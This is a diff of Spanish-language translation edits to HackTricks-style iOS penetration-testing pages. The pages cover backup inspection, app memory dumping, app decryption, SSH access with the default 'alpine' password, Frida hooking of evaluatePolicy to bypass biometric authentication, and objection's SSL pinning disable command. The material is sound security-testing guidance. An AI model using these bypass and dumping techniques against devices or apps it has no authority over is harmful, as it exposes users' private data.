Para evaluar la seguridad de la copia de seguridad de una aplicación, comience por **crear una copia de seguridad** usando Finder, luego localícela utilizando la guía de [la documentación oficial de Apple](https://support.apple.com/en-us/HT204215). Analice la copia de seguridad en busca de datos sensibles o configuraciones que podrían ser alteradas para afectar el comportamiento de la aplicación.
|
||||
|
||||
Se puede buscar información sensible utilizando herramientas de línea de comandos o aplicaciones como [iMazing](https://imazing.com). Para copias de seguridad cifradas, la presencia de cifrado se puede confirmar verificando la clave "IsEncrypted" en el archivo "Manifest.plist" en la raíz de la copia de seguridad.
|
||||
Se puede buscar información sensible utilizando herramientas de línea de comandos o aplicaciones como [iMazing](https://imazing.com). Para copias de seguridad encriptadas, la presencia de encriptación se puede confirmar verificando la clave "IsEncrypted" en el archivo "Manifest.plist" en la raíz de la copia de seguridad.
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
@ -665,7 +665,7 @@ Se puede buscar información sensible utilizando herramientas de línea de coman
|
||||
...
|
||||
</plist>
|
||||
```
|
||||
Para tratar con copias de seguridad encriptadas, los scripts de Python disponibles en [el repositorio de GitHub de DinoSec](https://github.com/dinosec/iphone-dataprotection/tree/master/python_scripts), como **backup_tool.py** y **backup_passwd.py**, pueden ser útiles, aunque potencialmente requiriendo ajustes para la compatibilidad con las últimas versiones de iTunes/Finder. La herramienta [**iOSbackup**](https://pypi.org/project/iOSbackup/) es otra opción para acceder a archivos dentro de copias de seguridad protegidas por contraseña.
|
||||
Para tratar con copias de seguridad encriptadas, los scripts de Python disponibles en [DinoSec's GitHub repo](https://github.com/dinosec/iphone-dataprotection/tree/master/python_scripts), como **backup_tool.py** y **backup_passwd.py**, pueden ser útiles, aunque potencialmente requiriendo ajustes para la compatibilidad con las últimas versiones de iTunes/Finder. La herramienta [**iOSbackup**](https://pypi.org/project/iOSbackup/) es otra opción para acceder a archivos dentro de copias de seguridad protegidas por contraseña.
|
||||
|
||||
### Modificando el Comportamiento de la Aplicación
|
||||
|
||||
@ -677,7 +677,7 @@ Al tratar con información sensible almacenada en la memoria de una aplicación,
|
||||
|
||||
## **Recuperando y Analizando un Volcado de Memoria**
|
||||
|
||||
Para dispositivos con jailbreak y sin jailbreak, herramientas como [objection](https://github.com/sensepost/objection) y [Fridump](https://github.com/Nightbringer21/fridump) permiten el volcado de la memoria del proceso de una aplicación. Una vez volcado, analizar estos datos requiere varias herramientas, dependiendo de la naturaleza de la información que estás buscando.
|
||||
Para dispositivos con jailbreak y sin jailbreak, herramientas como [objection](https://github.com/sensepost/objection) y [Fridump](https://github.com/Nightbringer21/fridump) permiten el volcado de la memoria del proceso de una aplicación. Una vez volcada, analizar estos datos requiere varias herramientas, dependiendo de la naturaleza de la información que estás buscando.
|
||||
|
||||
Para extraer cadenas de un volcado de memoria, se pueden usar comandos como `strings` o `rabin2 -zz`:
|
||||
```bash
|
||||
@ -702,7 +702,7 @@ $ r2 frida://usb//<name_of_your_app>
|
||||
```
|
||||
## Criptografía Rota
|
||||
|
||||
### Procesos de Gestión de Claves Deficientes
|
||||
### Procesos de Gestión de Claves Pobre
|
||||
|
||||
Algunos desarrolladores guardan datos sensibles en el almacenamiento local y los encriptan con una clave codificada/predictible en el código. Esto no debería hacerse, ya que algún proceso de reversión podría permitir a los atacantes extraer la información confidencial.
|
||||
|
||||
@ -724,12 +724,12 @@ Para **más información** sobre las APIs y bibliotecas criptográficas de iOS,
|
||||
|
||||
La **autenticación local** juega un papel crucial, especialmente cuando se trata de salvaguardar el acceso en un punto final remoto a través de métodos criptográficos. La esencia aquí es que, sin una implementación adecuada, los mecanismos de autenticación local pueden ser eludidos.
|
||||
|
||||
El [**framework de Autenticación Local**](https://developer.apple.com/documentation/localauthentication) de Apple y el [**keychain**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) proporcionan APIs robustas para que los desarrolladores faciliten diálogos de autenticación de usuarios y manejen datos secretos de manera segura, respectivamente. El Secure Enclave asegura la identificación por huella dactilar para Touch ID, mientras que Face ID se basa en el reconocimiento facial sin comprometer los datos biométricos.
|
||||
El [**framework de Autenticación Local**](https://developer.apple.com/documentation/localauthentication) de Apple y el [**keychain**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) proporcionan APIs robustas para que los desarrolladores faciliten diálogos de autenticación de usuarios y manejen datos secretos de manera segura, respectivamente. El Secure Enclave asegura la identificación por huella digital para Touch ID, mientras que Face ID se basa en el reconocimiento facial sin comprometer los datos biométricos.
|
||||
|
||||
Para integrar Touch ID/Face ID, los desarrolladores tienen dos opciones de API:
|
||||
|
||||
- **`LocalAuthentication.framework`** para autenticación de usuario de alto nivel sin acceso a datos biométricos.
|
||||
- **`Security.framework`** para acceso a servicios de keychain de bajo nivel, asegurando datos secretos con autenticación biométrica. Varios [wrappers de código abierto](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id) hacen que el acceso al keychain sea más sencillo.
|
||||
- **`Security.framework`** para acceso a servicios de keychain de bajo nivel, asegurando datos secretos con autenticación biométrica. Varios [wrappers de código abierto](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id) hacen que el acceso al keychain sea más simple.
|
||||
|
||||
> [!CAUTION]
|
||||
> Sin embargo, tanto `LocalAuthentication.framework` como `Security.framework` presentan vulnerabilidades, ya que principalmente devuelven valores booleanos sin transmitir datos para procesos de autenticación, lo que los hace susceptibles a eludir (consulta [Don't touch me that way, by David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM)).
|
||||
@ -934,7 +934,7 @@ dispatch_async(dispatch_get_main_queue(), ^{
|
||||
}
|
||||
}
|
||||
```
|
||||
Para lograr el **bypass** de la Autenticación Local, se escribe un script de Frida. Este script apunta a la verificación de **evaluatePolicy**, interceptando su callback para asegurarse de que devuelva **success=1**. Al alterar el comportamiento del callback, la verificación de autenticación se elude efectivamente.
|
||||
Para lograr el **bypass** de la Autenticación Local, se escribe un script de Frida. Este script apunta a la verificación **evaluatePolicy**, interceptando su callback para asegurarse de que devuelva **success=1**. Al alterar el comportamiento del callback, la verificación de autenticación se elude efectivamente.
|
||||
|
||||
El script a continuación se inyecta para modificar el resultado del método **evaluatePolicy**. Cambia el resultado del callback para indicar siempre éxito.
|
||||
```swift
|
||||
@ -988,7 +988,7 @@ ios-uiactivity-sharing.md
|
||||
ios-uipasteboard.md
|
||||
{{#endref}}
|
||||
|
||||
### Extensiones de Aplicación
|
||||
### Extensiones de Aplicaciones
|
||||
|
||||
{{#ref}}
|
||||
ios-app-extensions.md
|
||||
@ -1020,14 +1020,14 @@ burp-configuration-for-ios.md
|
||||
Un problema común al validar el certificado TLS es verificar que el certificado fue firmado por una **CA** **confiable**, pero **no verificar** si **el nombre de host** del certificado es el nombre de host que se está accediendo.\
|
||||
Para verificar este problema usando Burp, después de confiar en la CA de Burp en el iPhone, puedes **crear un nuevo certificado con Burp para un nombre de host diferente** y usarlo. Si la aplicación sigue funcionando, entonces, algo es vulnerable.
|
||||
|
||||
### Fijación de Certificado
|
||||
### Fijación de Certificados
|
||||
|
||||
Si una aplicación está utilizando correctamente la Fijación de SSL, entonces la aplicación solo funcionará si el certificado es el que se espera. Al probar una aplicación, **esto podría ser un problema ya que Burp servirá su propio certificado.**\
|
||||
Para eludir esta protección en un dispositivo con jailbreak, puedes instalar la aplicación [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2) o instalar [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device)
|
||||
|
||||
También puedes usar **objection's** `ios sslpinning disable`
|
||||
|
||||
## Varios
|
||||
## Miscelánea
|
||||
|
||||
- En **`/System/Library`** puedes encontrar los frameworks instalados en el teléfono utilizados por aplicaciones del sistema.
|
||||
- Las aplicaciones instaladas por el usuario desde la App Store se encuentran dentro de **`/User/Applications`**.
|
||||
|
||||
@ -1,8 +1,8 @@
|
||||
# iOS Basic Testing Operations
|
||||
# Operaciones Básicas de Pruebas en iOS
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## **Resumen de la Identificación y Acceso de Dispositivos iOS**
|
||||
## **Resumen de Identificación y Acceso a Dispositivos iOS**
|
||||
|
||||
### **Identificación del UDID de un Dispositivo iOS**
|
||||
|
||||
@ -29,7 +29,7 @@ $ system_profiler SPUSBDataType | sed -n -e '/iPad/,/Serial/p;/iPhone/,/Serial/p
|
||||
```bash
|
||||
$ instruments -s devices
|
||||
```
|
||||
### **Accediendo al Shell del Dispositivo**
|
||||
### **Accediendo a la Shell del Dispositivo**
|
||||
|
||||
El **acceso SSH** se habilita al instalar el **paquete OpenSSH** después del jailbreak, permitiendo conexiones a través de `ssh root@<device_ip_address>`. Es crucial cambiar las contraseñas predeterminadas (`alpine`) para los usuarios `root` y `mobile` para asegurar el dispositivo.
|
||||
|
||||
@ -38,7 +38,7 @@ El **acceso SSH** se habilita al instalar el **paquete OpenSSH** después del ja
|
||||
$ iproxy 2222 22
|
||||
$ ssh -p 2222 root@localhost
|
||||
```
|
||||
**Las aplicaciones de shell en el dispositivo**, como NewTerm 2, facilitan la interacción directa con el dispositivo, especialmente útil para la solución de problemas. **Las shells SSH inversas** también se pueden establecer para el acceso remoto desde la computadora host.
|
||||
**Aplicaciones de shell en el dispositivo**, como NewTerm 2, facilitan la interacción directa con el dispositivo, especialmente útil para la solución de problemas. **Shells SSH inversos** también se pueden establecer para el acceso remoto desde la computadora host.
|
||||
|
||||
### **Restablecimiento de Contraseñas Olvidadas**
|
||||
|
||||
@ -60,7 +60,7 @@ scp -P 2222 root@localhost:/tmp/data.tgz .
|
||||
|
||||
### **Usando Objection para la Gestión de Archivos**
|
||||
|
||||
**Shell Interactiva con Objection:** Lanzar objection proporciona acceso al directorio Bundle de una aplicación. Desde aquí, puedes navegar al directorio Documents de la aplicación y gestionar archivos, incluyendo descargarlos y subirlos desde y hacia el dispositivo iOS.
|
||||
**Shell Interactiva con Objection:** Lanzar objection proporciona acceso al directorio Bundle de una aplicación. Desde aquí, puedes navegar al directorio Documents de la aplicación y gestionar archivos, incluyendo la descarga y carga de los mismos hacia y desde el dispositivo iOS.
|
||||
```bash
|
||||
objection --gadget com.apple.mobilesafari explorer
|
||||
cd /var/mobile/Containers/Data/Application/72C7AAFB-1D75-4FBA-9D83-D8B4A2D44133/Documents
|
||||
@ -90,9 +90,9 @@ otool -Vh Original_App
|
||||
python change_macho_flags.py --no-pie Original_App
|
||||
otool -Vh Hello_World
|
||||
```
|
||||
**Identificación de la Sección Encriptada y Volcado de Memoria:**
|
||||
**Identificación de la sección encriptada y volcado de memoria:**
|
||||
|
||||
Determina las direcciones de inicio y fin de la sección encriptada usando `otool` y volcar la memoria desde el dispositivo con jailbreak usando gdb.
|
||||
Determina las direcciones de inicio y fin de la sección encriptada usando `otool` y volca la memoria desde el dispositivo con jailbreak usando gdb.
|
||||
```bash
|
||||
otool -l Original_App | grep -A 4 LC_ENCRYPTION_INFO
|
||||
dump memory dump.bin 0x8000 0x10a4000
|
||||
@ -109,7 +109,7 @@ dd bs=1 seek=<starting_address> conv=notrunc if=dump.bin of=Original_App
|
||||
|
||||
#### **frida-ios-dump**
|
||||
|
||||
La herramienta [**frida-ios-dump**](https://github.com/AloneMonkey/frida-ios-dump) se utiliza para **desencriptar y extraer aplicaciones automáticamente** de dispositivos iOS. Inicialmente, se debe configurar `dump.py` para conectarse al dispositivo iOS, lo cual se puede hacer a través de localhost en el puerto 2222 mediante **iproxy** o directamente a través de la dirección IP del dispositivo y el puerto.
|
||||
La herramienta [**frida-ios-dump**](https://github.com/AloneMonkey/frida-ios-dump) se utiliza para **desencriptar y extraer aplicaciones automáticamente** de dispositivos iOS. Inicialmente, se debe configurar `dump.py` para conectarse al dispositivo iOS, lo que se puede hacer a través de localhost en el puerto 2222 mediante **iproxy** o directamente a través de la dirección IP del dispositivo y el puerto.
|
||||
|
||||
Las aplicaciones instaladas en el dispositivo se pueden listar con el comando:
|
||||
```bash
|
||||
@ -158,7 +158,7 @@ bagbak --raw Chrome
|
||||
|
||||
#### **Permitir la Instalación de Aplicaciones en Dispositivos que No Son iPad**
|
||||
|
||||
Para instalar aplicaciones específicas de iPad en dispositivos iPhone o iPod touch, el valor **UIDeviceFamily** en el archivo **Info.plist** necesita ser cambiado a **1**. Sin embargo, esta modificación requiere volver a firmar el archivo IPA debido a las verificaciones de validación de firma.
|
||||
Para instalar aplicaciones específicas de iPad en dispositivos iPhone o iPod touch, el valor **UIDeviceFamily** en el archivo **Info.plist** debe cambiarse a **1**. Sin embargo, esta modificación requiere volver a firmar el archivo IPA debido a las verificaciones de validación de firma.
|
||||
|
||||
**Nota**: Este método puede fallar si la aplicación exige capacidades exclusivas de modelos de iPad más nuevos mientras se utiliza un iPhone o iPod touch más antiguo.
|
||||
|
||||
|
||||
@ -18,7 +18,7 @@ El **Burp Mobile Assistant** simplifica el proceso de instalación del Certifica
|
||||
|
||||
### Configuración de un Proxy de Intercepción
|
||||
|
||||
La configuración permite el análisis del tráfico entre el dispositivo iOS y el internet a través de Burp, requiriendo una red Wi-Fi que soporte tráfico de cliente a cliente. Si no está disponible, una conexión USB a través de usbmuxd puede servir como alternativa. Los tutoriales de PortSwigger proporcionan instrucciones detalladas sobre [la configuración del dispositivo](https://support.portswigger.net/customer/portal/articles/1841108-configuring-an-ios-device-to-work-with-burp) y [la instalación del certificado](https://support.portswigger.net/customer/portal/articles/1841109-installing-burp-s-ca-certificate-in-an-ios-device).
|
||||
La configuración permite el análisis del tráfico entre el dispositivo iOS y la internet a través de Burp, requiriendo una red Wi-Fi que soporte tráfico de cliente a cliente. Si no está disponible, una conexión USB a través de usbmuxd puede servir como alternativa. Los tutoriales de PortSwigger proporcionan instrucciones detalladas sobre [la configuración del dispositivo](https://support.portswigger.net/customer/portal/articles/1841108-configuring-an-ios-device-to-work-with-burp) y [la instalación del certificado](https://support.portswigger.net/customer/portal/articles/1841109-installing-burp-s-ca-certificate-in-an-ios-device).
|
||||
|
||||
### Configuración Avanzada para Dispositivos Jailbroken
|
||||
|
||||
@ -61,7 +61,7 @@ En _Proxy_ --> _Options_ --> _Export CA certificate_ --> _Certificate in DER for
|
||||
|
||||
.png>)
|
||||
|
||||
- **Arrastrar y Soltar** el certificado dentro del Emulador
|
||||
- **Arrastrar y soltar** el certificado dentro del Emulador
|
||||
- **Dentro del emulador**, ir a _Settings_ --> _General_ --> _Profile_ --> _PortSwigger CA_, y **verificar el certificado**
|
||||
- **Dentro del emulador**, ir a _Settings_ --> _General_ --> _About_ --> _Certificate Trust Settings_, y **habilitar PortSwigger CA**
|
||||
|
||||
|
||||
@ -6,7 +6,7 @@ Resumen de la página [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MAST
|
||||
|
||||
### **Extracción de Derechos y Archivos de Provisión Móvil**
|
||||
|
||||
Al tratar con el IPA de una aplicación o una aplicación instalada en un dispositivo con jailbreak, puede que no sea posible encontrar archivos `.entitlements` o el archivo `embedded.mobileprovision` directamente. Sin embargo, las listas de propiedades de derechos aún se pueden extraer del binario de la aplicación, siguiendo los procedimientos descritos en el capítulo "Pruebas de Seguridad Básica en iOS", particularmente en la sección "Adquisición del Binario de la Aplicación".
|
||||
Al tratar con el IPA de una aplicación o una aplicación instalada en un dispositivo con jailbreak, puede que no sea posible encontrar archivos `.entitlements` o el archivo `embedded.mobileprovision` directamente. Sin embargo, las listas de propiedades de derechos aún se pueden extraer del binario de la aplicación, siguiendo los procedimientos descritos en el capítulo "Pruebas de Seguridad Básica de iOS", particularmente en la sección "Adquisición del Binario de la Aplicación".
|
||||
|
||||
Incluso con binarios cifrados, se pueden emplear ciertos pasos para extraer estos archivos. Si estos pasos fallan, pueden ser necesarias herramientas como Clutch (si es compatible con la versión de iOS), frida-ios-dump, o utilidades similares para descifrar y extraer la aplicación.
|
||||
|
||||
@ -30,7 +30,7 @@ $ r2 -qc 'izz~PropertyList' ./Telegram\ X
|
||||
```
|
||||
Ambos métodos, binwalk y radare2, permiten la extracción de archivos `plist`, con una inspección del primero (0x0015d2a4) revelando una recuperación exitosa del [archivo de derechos original de Telegram](https://github.com/peter-iakovlev/Telegram-iOS/blob/77ee5c4dabdd6eb5f1e2ff76219edf7e18b45c00/Telegram-iOS/Telegram-iOS-AppStoreLLC.entitlements).
|
||||
|
||||
Para los binarios de aplicaciones accedidos en dispositivos con jailbreak (por ejemplo, a través de SSH), se puede usar el comando **grep** con la opción `-a, --text` para tratar todos los archivos como texto ASCII:
|
||||
Para los binarios de aplicaciones accedidos en dispositivos con jailbreak (por ejemplo, a través de SSH), se puede usar el comando **grep** con la bandera `-a, --text` para tratar todos los archivos como texto ASCII:
|
||||
```bash
|
||||
$ grep -a -A 5 'PropertyList' /var/containers/Bundle/Application/...
|
||||
```
|
||||
|
||||
@ -2,6 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Instalación de Frida
|
||||
|
||||
**Pasos para instalar Frida en un dispositivo con Jailbreak:**
|
||||
|
||||
@ -1,4 +1,4 @@
|
||||
# iOS App Extensions
|
||||
# Extensiones de Aplicaciones iOS
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -15,7 +15,7 @@ Cuando un usuario interactúa con estas extensiones, como compartir texto desde
|
||||
Los aspectos clave de seguridad incluyen:
|
||||
|
||||
- Las extensiones y sus aplicaciones contenedoras se comunican a través de comunicación entre procesos, no directamente.
|
||||
- El **widget de Hoy** es único en que puede solicitar a su aplicación que se abra a través de un método específico.
|
||||
- El **widget Hoy** es único en que puede solicitar que su aplicación se abra a través de un método específico.
|
||||
- El acceso a datos compartidos está permitido dentro de un contenedor privado, pero el acceso directo está restringido.
|
||||
- Ciertas API, incluyendo HealthKit, están prohibidas para las extensiones de aplicaciones, que tampoco pueden iniciar tareas de larga duración, acceder a la cámara o al micrófono, excepto para extensiones de iMessage.
|
||||
|
||||
@ -42,7 +42,7 @@ Las aplicaciones pueden restringir ciertos tipos de extensiones, particularmente
|
||||
El análisis dinámico implica:
|
||||
|
||||
- **Inspeccionar Elementos Compartidos**: Engancharse a `NSExtensionContext - inputItems` para ver tipos de datos y orígenes compartidos.
|
||||
- **Identificar Extensiones**: Descubrir qué extensiones procesan tus datos observando mecanismos internos, como `NSXPCConnection`.
|
||||
- **Identificación de Extensiones**: Descubrir qué extensiones procesan tus datos observando mecanismos internos, como `NSXPCConnection`.
|
||||
|
||||
Herramientas como `frida-trace` pueden ayudar a entender los procesos subyacentes, especialmente para aquellos interesados en los detalles técnicos de la comunicación entre procesos.
|
||||
|
||||
|
||||
@ -15,11 +15,11 @@ Al crear un archivo, se genera una clave de cifrado AES de 256 bits única, que
|
||||
iOS define **cuatro clases de protección** para la seguridad de los datos, que determinan cuándo y cómo se puede acceder a los datos:
|
||||
|
||||
- **Protección Completa (NSFileProtectionComplete)**: Los datos son inaccesibles hasta que el dispositivo se desbloquee utilizando el código de acceso del usuario.
|
||||
- **Protegido a Menos que Esté Abierto (NSFileProtectionCompleteUnlessOpen)**: Permite el acceso al archivo incluso después de que el dispositivo esté bloqueado, siempre que el archivo se haya abierto cuando el dispositivo fue desbloqueado.
|
||||
- **Protegido a Menos que Esté Abierto (NSFileProtectionCompleteUnlessOpen)**: Permite el acceso al archivo incluso después de que el dispositivo esté bloqueado, siempre que el archivo se haya abierto cuando el dispositivo estaba desbloqueado.
|
||||
- **Protegido Hasta la Primera Autenticación del Usuario (NSFileProtectionCompleteUntilFirstUserAuthentication)**: Los datos son accesibles después de la primera desbloqueo del usuario tras el arranque, permaneciendo accesibles incluso si el dispositivo se bloquea nuevamente.
|
||||
- **Sin Protección (NSFileProtectionNone)**: Los datos están protegidos solo por el UID del dispositivo, facilitando un borrado rápido de datos de forma remota.
|
||||
|
||||
El cifrado de todas las clases, excepto `NSFileProtectionNone`, implica una clave derivada tanto del UID del dispositivo como del código de acceso del usuario, asegurando que la desencriptación solo sea posible en el dispositivo con el código de acceso correcto. Desde iOS 7 en adelante, la clase de protección predeterminada es "Protegido Hasta la Primera Autenticación del Usuario".
|
||||
El cifrado de todas las clases, excepto `NSFileProtectionNone`, implica una clave derivada tanto del UID del dispositivo como del código de acceso del usuario, asegurando que la desencriptación solo sea posible en el dispositivo con el código de acceso correcto. A partir de iOS 7, la clase de protección predeterminada es "Protegido Hasta la Primera Autenticación del Usuario".
|
||||
|
||||
Los desarrolladores pueden usar [**FileDP**](https://github.com/abjurato/FileDp-Source), una herramienta para inspeccionar la clase de protección de datos de los archivos en un iPhone.
|
||||
```python
|
||||
@ -32,13 +32,13 @@ python filedp.py /path/to/check
|
||||
```
|
||||
## **El llavero**
|
||||
|
||||
En iOS, un **llavero** sirve como un **contenedor encriptado seguro** para almacenar **información sensible**, accesible solo por la aplicación que lo almacenó o aquellas autorizadas explícitamente. Esta encriptación se refuerza con una **contraseña única generada por iOS**, que a su vez está encriptada con **AES**. Este proceso de encriptación utiliza una **función PBKDF2**, combinando el código de acceso del usuario con una sal derivada del **UID** del dispositivo, un componente al que solo puede acceder el **chipset de enclave seguro**. En consecuencia, incluso si se conoce el código de acceso del usuario, el contenido del llavero permanece inaccesible en cualquier dispositivo que no sea aquel donde fueron encriptados originalmente.
|
||||
En iOS, un **llavero** sirve como un **contenedor encriptado seguro** para almacenar **información sensible**, accesible solo por la aplicación que lo almacenó o aquellas autorizadas explícitamente. Esta encriptación se refuerza con una **contraseña única generada por iOS**, que a su vez está encriptada con **AES**. Este proceso de encriptación utiliza una **función PBKDF2**, combinando el código de acceso del usuario con una sal derivada del **UID** del dispositivo, un componente al que solo puede acceder el **chipset de enclave seguro**. En consecuencia, incluso si se conoce el código de acceso del usuario, el contenido del llavero permanece inaccesible en cualquier dispositivo que no sea el que originalmente lo encriptó.
|
||||
|
||||
**La gestión y el acceso** a los datos del llavero son manejados por el **demonio `securityd`**, basado en derechos específicos de la aplicación como `Keychain-access-groups` y `application-identifier`.
|
||||
|
||||
### **Operaciones de la API del Llavero**
|
||||
|
||||
La API del llavero, detallada en [la documentación de Keychain Services de Apple](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/02concepts/concepts.html), proporciona funciones esenciales para la gestión de almacenamiento seguro:
|
||||
La API del llavero, detallada en [la documentación de servicios de llavero de Apple](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/02concepts/concepts.html), proporciona funciones esenciales para la gestión de almacenamiento seguro:
|
||||
|
||||
- **`SecItemAdd`**: Agrega un nuevo elemento al llavero.
|
||||
- **`SecItemUpdate`**: Actualiza un elemento existente en el llavero.
|
||||
@ -114,11 +114,11 @@ El archivo `Info.plist` de una aplicación especifica **capacidades del disposit
|
||||
<string>armv7</string>
|
||||
</array>
|
||||
```
|
||||
Este ejemplo indica que la aplicación es compatible con el conjunto de instrucciones armv7. Los desarrolladores también pueden especificar capacidades como nfc para asegurar que su aplicación solo esté disponible para dispositivos que soporten NFC.
|
||||
Este ejemplo indica que la aplicación es compatible con el conjunto de instrucciones armv7. Los desarrolladores también pueden especificar capacidades como nfc para garantizar que su aplicación solo esté disponible para dispositivos que admiten NFC.
|
||||
|
||||
## Derechos
|
||||
|
||||
**Derechos** son otro aspecto crítico del desarrollo de aplicaciones iOS, sirviendo como pares clave-valor que otorgan a las aplicaciones permiso para realizar ciertas operaciones más allá de las verificaciones en tiempo de ejecución. Por ejemplo, habilitar **Protección de Datos** en una aplicación implica agregar un derecho específico en el proyecto de Xcode, que luego se refleja en el archivo de derechos de la aplicación o en el archivo de provisión móvil incrustado para IPAs.
|
||||
**Derechos** son otro aspecto crítico del desarrollo de aplicaciones iOS, sirviendo como pares clave-valor que otorgan a las aplicaciones permiso para realizar ciertas operaciones más allá de las verificaciones en tiempo de ejecución. Por ejemplo, habilitar **Data Protection** en una aplicación implica agregar un derecho específico en el proyecto de Xcode, que luego se refleja en el archivo de derechos de la aplicación o en el archivo de provisión móvil incrustado para IPAs.
|
||||
|
||||
# Referencias
|
||||
|
||||
|
||||
@ -42,7 +42,7 @@ let obj = decoder.decodeObject(of: MyClass.self, forKey: "myKey")
|
||||
NSKeyedArchiver.archiveRootObject(customPoint, toFile: "/path/to/archive")
|
||||
let customPoint = NSKeyedUnarchiver.unarchiveObjectWithFile("/path/to/archive") as? CustomPoint
|
||||
```
|
||||
### Usando `Codable` para Serialización Simplificada
|
||||
### Usando `Codable` para una Serialización Simplificada
|
||||
|
||||
El protocolo `Codable` de Swift combina `Decodable` y `Encodable`, facilitando la codificación y decodificación de objetos como `String`, `Int`, `Double`, etc., sin esfuerzo adicional:
|
||||
```swift
|
||||
|
||||
@ -29,7 +29,7 @@ Se recomienda encarecidamente **descargar** Xcode desde la **tienda de aplicacio
|
||||
Los archivos del simulador se pueden encontrar en `/Users/<username>/Library/Developer/CoreSimulator/Devices`
|
||||
|
||||
Para abrir el simulador, ejecuta Xcode, luego presiona en la _pestaña de Xcode_ --> _Abrir herramientas de desarrollador_ --> _Simulador_\
|
||||
\_\_En la siguiente imagen, al hacer clic en "iPod touch \[...\]" puedes seleccionar otro dispositivo para probar:
|
||||
\_\_En la siguiente imagen, al hacer clic en "iPod touch \[...]" puedes seleccionar otro dispositivo para probar:
|
||||
|
||||
.png>)
|
||||
|
||||
|
||||
@ -3,7 +3,7 @@
|
||||
El intercambio de datos dentro y entre aplicaciones en dispositivos iOS se facilita mediante el mecanismo [`UIPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard), que se divide en dos categorías principales:
|
||||
|
||||
- **Portapapeles general del sistema**: Este se utiliza para compartir datos con **cualquier aplicación** y está diseñado para persistir datos a través de reinicios del dispositivo y desinstalaciones de aplicaciones, una característica que está disponible desde iOS 10.
|
||||
- **Portapapeles personalizados / nombrados**: Estos son específicamente para compartir datos **dentro de una aplicación o con otra aplicación** que comparte el mismo ID de equipo, y no están diseñados para persistir más allá de la vida del proceso de la aplicación que los crea, siguiendo los cambios introducidos en iOS 10.
|
||||
- **Portapapeles personalizados / nombrados**: Estos son específicamente para el intercambio de datos **dentro de una aplicación o con otra aplicación** que comparte el mismo ID de equipo, y no están diseñados para persistir más allá de la vida del proceso de la aplicación que los crea, siguiendo los cambios introducidos en iOS 10.
|
||||
|
||||
**Consideraciones de seguridad** juegan un papel significativo al utilizar portapapeles. Por ejemplo:
|
||||
|
||||
@ -25,14 +25,14 @@ Para el análisis estático, busque en el código fuente o binario:
|
||||
|
||||
El análisis dinámico implica enganchar o rastrear métodos específicos:
|
||||
|
||||
- Monitorear `generalPasteboard` para el uso general.
|
||||
- Monitorear `generalPasteboard` para el uso a nivel del sistema.
|
||||
- Rastrear `pasteboardWithName:create:` y `pasteboardWithUniqueName` para implementaciones personalizadas.
|
||||
- Observar llamadas al método en desuso `setPersistent:` para verificar configuraciones de persistencia.
|
||||
- Observar las llamadas al método en desuso `setPersistent:` para verificar la configuración de persistencia.
|
||||
|
||||
Los detalles clave a monitorear incluyen:
|
||||
|
||||
- **Nombres de portapapeles** y **contenidos** (por ejemplo, verificar cadenas, URLs, imágenes).
|
||||
- **Número de elementos** y **tipos de datos** presentes, aprovechando verificaciones de tipos de datos estándar y personalizados.
|
||||
- **Número de elementos** y **tipos de datos** presentes, aprovechando las verificaciones de tipos de datos estándar y personalizados.
|
||||
- **Opciones de expiración y solo local** inspeccionando el método `setItems:options:`.
|
||||
|
||||
Un ejemplo del uso de herramientas de monitoreo es el **monitor de portapapeles de objection**, que consulta el generalPasteboard cada 5 segundos en busca de cambios y muestra los nuevos datos.
|
||||
|
||||
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
El código de esta página fue extraído de [here](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md). Consulta la página para más detalles.
|
||||
El código de esta página fue extraído de [aquí](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md). Consulta la página para más detalles.
|
||||
|
||||
## Tipos de WebViews
|
||||
|
||||
@ -113,7 +113,7 @@ frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
|
||||
```
|
||||
**Resultados Clave**:
|
||||
|
||||
- Se localizan e inspeccionan con éxito instancias de WebViews.
|
||||
- Se localizan e inspeccionan con éxito las instancias de WebViews.
|
||||
- Se verifica la habilitación de JavaScript y la configuración de contenido seguro.
|
||||
|
||||
Este resumen encapsula los pasos y comandos críticos involucrados en el análisis de configuraciones de WebView a través de enfoques estáticos y dinámicos, centrándose en características de seguridad como la habilitación de JavaScript y la detección de contenido mixto.
|
||||
@ -187,7 +187,7 @@ xhr.send(null)
|
||||
|
||||
Desde iOS 7 en adelante, Apple proporcionó APIs para **la comunicación entre JavaScript en un WebView y objetos nativos** de Swift u Objective-C. Esta integración se facilita principalmente a través de dos métodos:
|
||||
|
||||
- **JSContext**: Una función de JavaScript se crea automáticamente cuando un bloque de Swift u Objective-C se vincula a un identificador dentro de un `JSContext`. Esto permite una integración y comunicación sin problemas entre JavaScript y el código nativo.
|
||||
- **JSContext**: Una función de JavaScript se crea automáticamente cuando un bloque de Swift u Objective-C se vincula a un identificador dentro de un `JSContext`. Esto permite una integración y comunicación sin problemas entre JavaScript y código nativo.
|
||||
